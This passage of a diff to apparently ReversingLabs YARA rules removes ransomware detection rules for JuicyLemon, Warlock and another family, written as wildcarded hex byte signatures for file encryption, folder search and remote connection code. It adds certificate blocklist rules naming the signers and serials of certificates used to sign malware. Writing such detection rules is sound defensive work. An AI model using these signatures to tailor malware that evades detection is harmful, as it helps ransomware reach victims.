?? ?? ?? 59 56 57 FF - 15 ?? ?? ?? ?? 51 BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8B C6 C6 07 ?? 47 - 83 E8 ?? 75 ?? BF ?? ?? ?? ?? BA ?? ?? ?? ?? 53 8B CF E8 ?? ?? ?? ?? 59 6A ?? 58 C6 - 03 ?? 43 83 E8 ?? 75 ?? B9 ?? ?? ?? ?? C6 05 ?? ?? ?? ?? ?? 3B E9 74 ?? 55 51 8B D6 - E8 ?? ?? ?? ?? 83 C4 ?? B9 ?? ?? ?? ?? B8 ?? ?? ?? ?? 3B C1 74 ?? 50 51 8B D6 E8 ?? - ?? ?? ?? 83 C4 ?? 6A ?? 5B 53 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 8D 44 24 ?? B9 ?? ?? - ?? ?? 50 51 8B D3 E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? B8 ?? ?? ?? ?? 83 C4 ?? 3B C8 74 ?? - 51 50 6A ?? 5A 8B C8 E8 ?? ?? ?? ?? 83 C4 ?? B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 3B C1 74 - ?? 50 51 8B D6 E8 ?? ?? ?? ?? 83 C4 ?? B9 ?? ?? ?? ?? B8 ?? ?? ?? ?? 3B C1 74 ?? 50 - 51 6A ?? 5A E8 ?? ?? ?? ?? 83 C4 ?? B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 6A ?? 5B 3B C1 74 - ?? 50 51 8B D3 E8 ?? ?? ?? ?? 83 C4 ?? B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 3B C1 74 ?? 50 - 51 6A ?? 5A E8 ?? ?? ?? ?? 83 C4 ?? 8D 44 24 ?? 8B D7 50 8D 4C 24 ?? E8 ?? ?? ?? ?? - 59 BA ?? ?? ?? ?? 8D 4C 24 ?? 6A ?? 52 E8 ?? ?? ?? ?? 59 59 83 64 24 ?? ?? 83 EB ?? - 75 ?? 21 9C 24 ?? ?? ?? ?? 8D 44 24 ?? 6A ?? 59 C6 00 ?? 40 83 E9 ?? 75 ?? 8B C6 C6 - 45 ?? ?? 45 83 E8 ?? 75 ?? C6 07 ?? 47 83 EE ?? 75 ?? 33 C0 5F 40 5E 5D 5B 8B E5 5D - C3 - } - $find_files_p1 = { - 55 8B EC 83 EC ?? 53 56 6A ?? 59 E8 ?? ?? ?? ?? 8B F0 66 C7 45 ?? ?? ?? 33 DB 89 35 - ?? ?? ?? ?? B1 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B C3 C7 45 ?? ?? ?? ?? - ?? 66 C7 45 ?? ?? ?? 02 C8 30 4C 05 ?? 40 83 F8 ?? 73 ?? 8A 4D ?? EB ?? 8D 45 ?? 88 - 5D ?? 50 8D 55 ?? 8B CE E8 ?? ?? ?? ?? 0F 28 05 ?? ?? ?? ?? B0 ?? 59 B1 ?? 88 5D ?? - 32 C1 88 4D ?? 88 45 ?? 8B CB 0F 11 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? - 66 C7 45 ?? ?? ?? 88 5D ?? 8A 45 ?? 30 44 0D ?? 41 83 F9 ?? 72 ?? 8B 0D ?? ?? ?? ?? - 8D 45 ?? 50 8D 55 ?? 88 5D ?? E8 ?? ?? ?? ?? 59 B1 ?? 88 5D ?? B0 ?? 88 4D ?? 32 C1 - C7 45 ?? ?? ?? ?? ?? 88 45 ?? 8B C3 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 80 44 - 05 ?? ?? 40 83 F8 ?? 72 ?? 8B 0D ?? ?? ?? ?? 8D 45 ?? 50 8D 55 ?? E8 ?? ?? ?? ?? 59 - 6A ?? 33 C9 C7 45 ?? ?? ?? ?? ?? 5B B0 ?? 88 5D ?? 32 C3 88 4D ?? 88 45 ?? 8B C1 C7 - 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 88 4D ?? 80 44 05 ?? ?? 40 83 F8 ?? 72 ?? 8B - 0D ?? ?? ?? ?? 8D 45 ?? 50 8D 55 ?? E8 ?? ?? ?? ?? 59 6A ?? 88 5D ?? B2 ?? 66 C7 45 - ?? ?? ?? 33 C9 66 C7 45 ?? ?? ?? C6 45 ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 5B 8D - 04 0A 30 44 0D ?? 41 3B CB 73 ?? 8A 55 ?? EB ?? 8B 0D ?? ?? ?? ?? 8D 45 ?? 50 8D 55 - ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 59 6A ?? 33 C9 C6 45 ?? ?? 58 34 ?? 88 4D ?? 88 45 - } - $find_files_p2 = { - B2 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 C7 45 ?? ?? ?? 8D 04 0A 30 44 0D - ?? 41 83 F9 ?? 73 ?? 8A 55 ?? EB ?? 8B 0D ?? ?? ?? ?? 8D 45 ?? 50 8D 55 ?? C6 45 ?? - ?? E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 8D 45 ?? 80 F3 ?? C6 45 ?? ?? 88 5D ?? 8D 55 ?? - 33 DB C6 45 ?? ?? 50 88 5D ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? - ?? 59 59 6A ?? 58 34 ?? C6 45 ?? ?? 88 45 ?? B2 ?? 88 5D ?? 8B CB C7 45 ?? ?? ?? ?? - ?? 66 C7 45 ?? ?? ?? 88 5D ?? 8D 04 0A 30 44 0D ?? 41 83 F9 ?? 73 ?? 8A 55 ?? EB ?? - 8B 0D ?? ?? ?? ?? 8D 45 ?? 50 8D 55 ?? 88 5D ?? E8 ?? ?? ?? ?? 59 66 C7 45 ?? ?? ?? - 8B C3 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 80 44 05 ?? ?? - 40 83 F8 ?? 72 ?? 8B 0D ?? ?? ?? ?? 8D 45 ?? 50 8D 55 ?? E8 ?? ?? ?? ?? B0 ?? C6 45 - ?? ?? 34 ?? 88 5D ?? 59 88 45 ?? B1 ?? C7 45 ?? ?? ?? ?? ?? 8B C3 C7 45 ?? ?? ?? ?? - ?? C7 45 ?? ?? ?? ?? ?? 66 C7 45 ?? ?? ?? 88 5D ?? 30 4C 05 ?? 40 83 F8 ?? 73 ?? 8A - 4D ?? EB ?? 8B 0D ?? ?? ?? ?? 8D 45 ?? 50 8D 55 ?? 88 5D ?? E8 ?? ?? ?? ?? 0F 28 05 - ?? ?? ?? ?? 59 66 C7 45 ?? ?? ?? 8B CB 0F 11 45 ?? C7 45 ?? ?? ?? ?? ?? 88 5D ?? 8A - 45 ?? 30 44 0D ?? 41 83 F9 ?? 72 ?? 8B 0D ?? ?? ?? ?? 8D 45 ?? 50 8D 55 ?? 88 5D ?? - E8 ?? ?? ?? ?? 59 5E 5B 8B E5 5D C3 - } - $find_folders = { - 55 8B EC 83 EC ?? 53 56 6A ?? 59 E8 ?? ?? ?? ?? 0F 28 05 ?? ?? ?? ?? 33 DB 8B F0 66 - C7 45 ?? ?? ?? 89 35 ?? ?? ?? ?? 8B CB 0F 11 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? - ?? ?? ?? 66 C7 45 ?? ?? ?? 88 5D ?? 8A 45 ?? 30 44 0D ?? 41 83 F9 ?? 72 ?? 8D 45 ?? - 88 5D ?? 50 8D 55 ?? 8B CE E8 ?? ?? ?? ?? 0F 28 05 ?? ?? ?? ?? B0 ?? 59 B1 ?? 88 5D - ?? 32 C1 88 4D ?? 88 45 ?? 8B CB 0F 11 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? - ?? 66 C7 45 ?? ?? ?? 8A 45 ?? 30 44 0D ?? 41 83 F9 ?? 72 ?? 8B 0D ?? ?? ?? ?? 8D 45 - ?? 50 8D 55 ?? 88 5D ?? E8 ?? ?? ?? ?? 59 B1 ?? 88 5D ?? B0 ?? 88 4D ?? 32 C1 C7 45 - ?? ?? ?? ?? ?? 88 45 ?? B2 ?? C7 45 ?? ?? ?? ?? ?? 8B CB 66 C7 45 ?? ?? ?? 88 5D ?? - 8D 04 0A 30 44 0D ?? 41 83 F9 ?? 73 ?? 8A 55 ?? EB ?? 8B 0D ?? ?? ?? ?? 8D 45 ?? 50 - 8D 55 ?? 88 5D ?? E8 ?? ?? ?? ?? 59 B1 ?? 88 5D ?? B0 ?? 88 4D ?? 32 C1 C7 45 ?? ?? - ?? ?? ?? 88 45 ?? 8B C3 C7 45 ?? ?? ?? ?? ?? 66 C7 45 ?? ?? ?? 88 5D ?? 80 44 05 ?? - ?? 40 83 F8 ?? 72 ?? 8B 0D ?? ?? ?? ?? 8D 45 ?? 50 8D 55 ?? E8 ?? ?? ?? ?? 59 66 C7 - 45 ?? ?? ?? 8B C3 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 C7 45 ?? ?? ?? 80 44 - 05 ?? ?? 40 83 F8 ?? 72 ?? 8B 0D ?? ?? ?? ?? 8D 45 ?? 50 8D 55 ?? E8 ?? ?? ?? ?? 59 - 66 C7 45 ?? ?? ?? B1 ?? C7 45 ?? ?? ?? ?? ?? 8B C3 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? - ?? ?? ?? 66 C7 45 ?? ?? ?? 30 4C 05 ?? 40 83 F8 ?? 73 ?? 8A 4D ?? EB ?? 8B 0D ?? ?? - ?? ?? 8D 45 ?? 50 8D 55 ?? 88 5D ?? E8 ?? ?? ?? ?? 59 66 C7 45 ?? ?? ?? B2 ?? C7 45 - ?? ?? ?? ?? ?? 8B CB C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 C7 45 ?? ?? ?? 8D - 04 0A 30 44 0D ?? 41 83 F9 ?? 73 ?? 8A 55 ?? EB ?? 8B 0D ?? ?? ?? ?? 8D 45 ?? 50 8D - 55 ?? 88 5D ?? E8 ?? ?? ?? ?? 59 5E 5B 8B E5 5D C3 - } - condition: - uint16( 0 ) == 0x5A4D and ( $find_folders and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "VANKY TECHNOLOGY LIMITED" and pe.signatures [ i ] . serial == "13:ae:38:c9:ae:21:a8:57:6c:0d:02:4d" and 1475062802 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Juicylemon : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_557B0Abf44045827F1F36Efbc96271Ec : INFO FILE { meta: - description = "Yara rule that detects JuicyLemon ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "35e4bbd6-422b-562e-98fc-fe932270dbb8" - date = "2020-08-17" - modified = "2020-08-17" + id = "64db0b43-b73f-594d-9f04-2cdf76df7c9b" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.JuicyLemon.yara#L1-L116" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15828-L15844" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "596d89843793307f4940dbb85b2e7081f02250f6adfdcd01f2d3c5f2b8b90875" + logic_hash = "633e8d6b44d62443d991738fa82b9742ac5634051bba5d0cdb3d6b35d66bdc8f" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "JuicyLemon" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $remote_connection_1 = { - 55 8B EC 83 C4 ?? 53 56 57 89 4D ?? 8B FA 8B F0 C6 45 ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? - 6A ?? FF 15 ?? ?? ?? ?? 8B D8 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 57 56 53 FF 15 ?? ?? ?? - ?? 8B F0 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8B 45 ?? 50 68 ?? ?? ?? ?? 56 FF 15 - ?? ?? ?? ?? 8B F8 8B 45 ?? E8 ?? ?? ?? ?? 50 8B 45 ?? 50 6A ?? 68 ?? ?? ?? ?? 57 FF - 15 ?? ?? ?? ?? 85 C0 74 ?? C6 45 ?? ?? 57 FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 53 - FF 15 ?? ?? ?? ?? 8A 45 ?? 5F 5E 5B 59 59 5D C2 - } - $remote_connection_2 = { - 55 8B EC 33 C9 51 51 51 51 51 51 51 53 56 89 55 ?? 89 45 ?? 8B 45 ?? E8 ?? ?? ?? ?? - 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 33 DB 8D 55 ?? 8B - 45 ?? E8 ?? ?? ?? ?? 8D 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8D 55 ?? 8B 45 ?? E8 ?? ?? ?? - ?? 66 BE ?? ?? 8B 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 75 ?? 66 BE ?? ?? 8D 45 ?? E8 - ?? ?? ?? ?? 50 8D 45 ?? B9 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? - ?? 50 8D 45 ?? B9 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B D6 - 59 E8 ?? ?? ?? ?? 84 C0 74 ?? B3 ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? - BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 - } - $find_files_and_encrypt = { - E8 ?? ?? ?? ?? EB ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 8B 14 B2 E8 ?? ?? ?? ?? 8B - 85 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 88 45 ?? 46 4B 75 ?? A1 ?? ?? ?? ?? BA ?? ?? - ?? ?? E8 ?? ?? ?? ?? 75 ?? 80 7D ?? ?? 75 ?? 8B 5D ?? 4B 85 DB 7C ?? 43 33 F6 8D 85 - ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 8B 14 B2 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 55 ?? E8 - ?? ?? ?? ?? 46 4B 75 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? E8 ?? ?? ?? - ?? 8D 8D ?? ?? ?? ?? 5A E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? - ?? ?? 8B 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? BA ?? ?? ?? ?? - E8 ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 - A1 ?? ?? ?? ?? 8B 00 FF D0 8B 1D ?? ?? ?? ?? 57 A1 ?? ?? ?? ?? 8B 00 FF D0 85 DB 74 - ?? 6A ?? A1 ?? ?? ?? ?? 8B 00 FF D0 EB ?? B3 ?? 8D 85 ?? ?? ?? ?? 8B D3 80 C2 ?? E8 - ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? - ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 A1 ?? ?? ?? ?? 8B 00 FF - D0 83 F8 ?? 76 ?? 83 F8 ?? 74 ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 8D 85 ?? - ?? ?? ?? 8B D3 80 C2 ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? - ?? 8B 95 ?? ?? ?? ?? 8D 46 ?? E8 ?? ?? ?? ?? 57 A1 ?? ?? ?? ?? 8B 00 FF D0 FF 05 ?? - ?? ?? ?? 57 A1 ?? ?? ?? ?? 8B 00 FF D0 8D 46 ?? 50 6A ?? 56 68 ?? ?? ?? ?? 68 ?? ?? - ?? ?? 6A ?? A1 ?? ?? ?? ?? 8B 00 FF D0 4B 80 FB ?? 0F 85 ?? ?? ?? ?? 57 A1 ?? ?? ?? - ?? 8B 00 FF D0 8B 1D ?? ?? ?? ?? 57 A1 ?? ?? ?? ?? 8B 00 FF D0 85 DB 74 ?? 6A ?? A1 - ?? ?? ?? ?? 8B 00 FF D0 EB ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 8D 46 ?? BA - ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 A1 ?? ?? ?? ?? 8B 00 FF D0 FF 05 ?? ?? ?? ?? 57 A1 ?? - ?? ?? ?? 8B 00 FF D0 8D 46 ?? 50 6A ?? 56 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? A1 ?? - ?? ?? ?? 8B 00 FF D0 57 A1 ?? ?? ?? ?? 8B 00 FF D0 8B 1D ?? ?? ?? ?? 57 A1 ?? ?? ?? - ?? 8B 00 FF D0 85 DB 74 ?? 6A ?? A1 ?? ?? ?? ?? 8B 00 FF D0 EB ?? A1 ?? ?? ?? ?? BA - ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 - ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 68 - ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8B 05 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 52 50 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 45 ?? BA - ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 8D 45 ?? E8 ?? ?? ?? ?? 50 B8 - ?? ?? ?? ?? E8 ?? ?? ?? ?? 5A 59 E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? - ?? ?? 8B 8D ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 89 45 ?? C6 45 ?? ?? A1 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 75 ?? 8B - 5D ?? 4B 85 DB 7C ?? 43 33 F6 80 7D ?? ?? 74 ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? - 8B 14 B2 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? EB ?? 8D 85 ?? ?? - ?? ?? 8B 15 ?? ?? ?? ?? 8B 14 B2 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? - ?? ?? 88 45 ?? 46 4B 75 ?? A1 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 75 ?? 80 7D - ?? ?? 75 ?? 8B 5D ?? 4B 85 DB 7C ?? 43 33 F6 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 8B - 14 B2 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 46 4B 75 ?? BA ?? ?? - ?? ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D0 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? - ?? ?? ?? E8 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 8B C8 B8 ?? ?? ?? ?? 5A E8 ?? ?? ?? ?? BA ?? ?? ?? ?? A1 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 8B D0 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 - 8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? - 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B C8 B8 ?? ?? ?? - ?? 5A E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? - ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 - ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D8 8B D3 B8 ?? ?? ?? ?? 59 E8 ?? ?? ?? ?? FF 35 ?? ?? - ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? - 8B 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 50 8B D3 B8 ?? ?? ?? ?? 59 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? - ?? ?? 8B 85 ?? ?? ?? ?? 50 FF 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? - ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? - ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8B D3 B8 ?? ?? ?? ?? 59 E8 ?? ?? ?? ?? A1 - ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 75 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? B2 ?? - E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 75 ?? A1 ?? ?? ?? ?? E8 - ?? ?? ?? ?? B2 ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 75 ?? - A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? B2 ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 - ?? ?? ?? ?? 75 ?? E8 ?? ?? ?? ?? C6 05 ?? ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? - ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? - ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? - ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? - E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA - ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? - ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? - ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? - ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D - 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 - ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 - } - condition: - uint16( 0 ) == 0x5A4D and $find_files_and_encrypt and $remote_connection_1 and $remote_connection_2 + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Yuanyuan Zhang" and pe.signatures [ i ] . serial == "55:7b:0a:bf:44:04:58:27:f1:f3:6e:fb:c9:62:71:ec" and 1480291200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win64_Ransomware_Warlock : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_7903870184E18A80899740845A15E2B2 : INFO FILE { meta: - description = "Yara rule that detects Warlock ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "66e2d232-c3d2-52ec-86f7-ede8c7796f94" - date = "2025-09-22" - modified = "2025-09-22" + id = "a55bed5b-906f-5c9d-bddd-b4d53d6351de" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win64.Ransomware.Warlock.yara#L1-L162" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15846-L15862" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "c0cf1491dba387c5b50ab9adfb2af978aacab19b13fbef78757544ad3a7f2475" + logic_hash = "ad32491b463d0b3b4c85ed78e81bb69802e5f90ae835f73e270b28f02b36f840" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Warlock" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $encrypt_files_p1 = { - 48 89 4C 24 ?? 48 81 EC ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 33 C4 48 89 84 24 ?? ?? - ?? ?? 33 C0 83 F8 ?? 0F 84 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? - ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 15 ?? ?? ?? ?? 48 8D 8C 24 - ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 C0 85 C0 - 74 ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? - ?? 90 E9 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? EB ?? 8B 44 24 ?? FF C0 89 44 24 ?? 83 - 7C 24 ?? ?? 7D ?? 48 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 C0 85 C0 75 ?? 48 8B - 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B D0 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 - 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 EB ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 90 48 8D 84 24 ?? ?? ?? ?? 48 89 44 24 ?? 48 8B 4C 24 ?? E8 ?? ?? ?? ?? 48 89 44 24 - ?? 48 8B 4C 24 ?? E8 ?? ?? ?? ?? 48 89 44 24 ?? EB 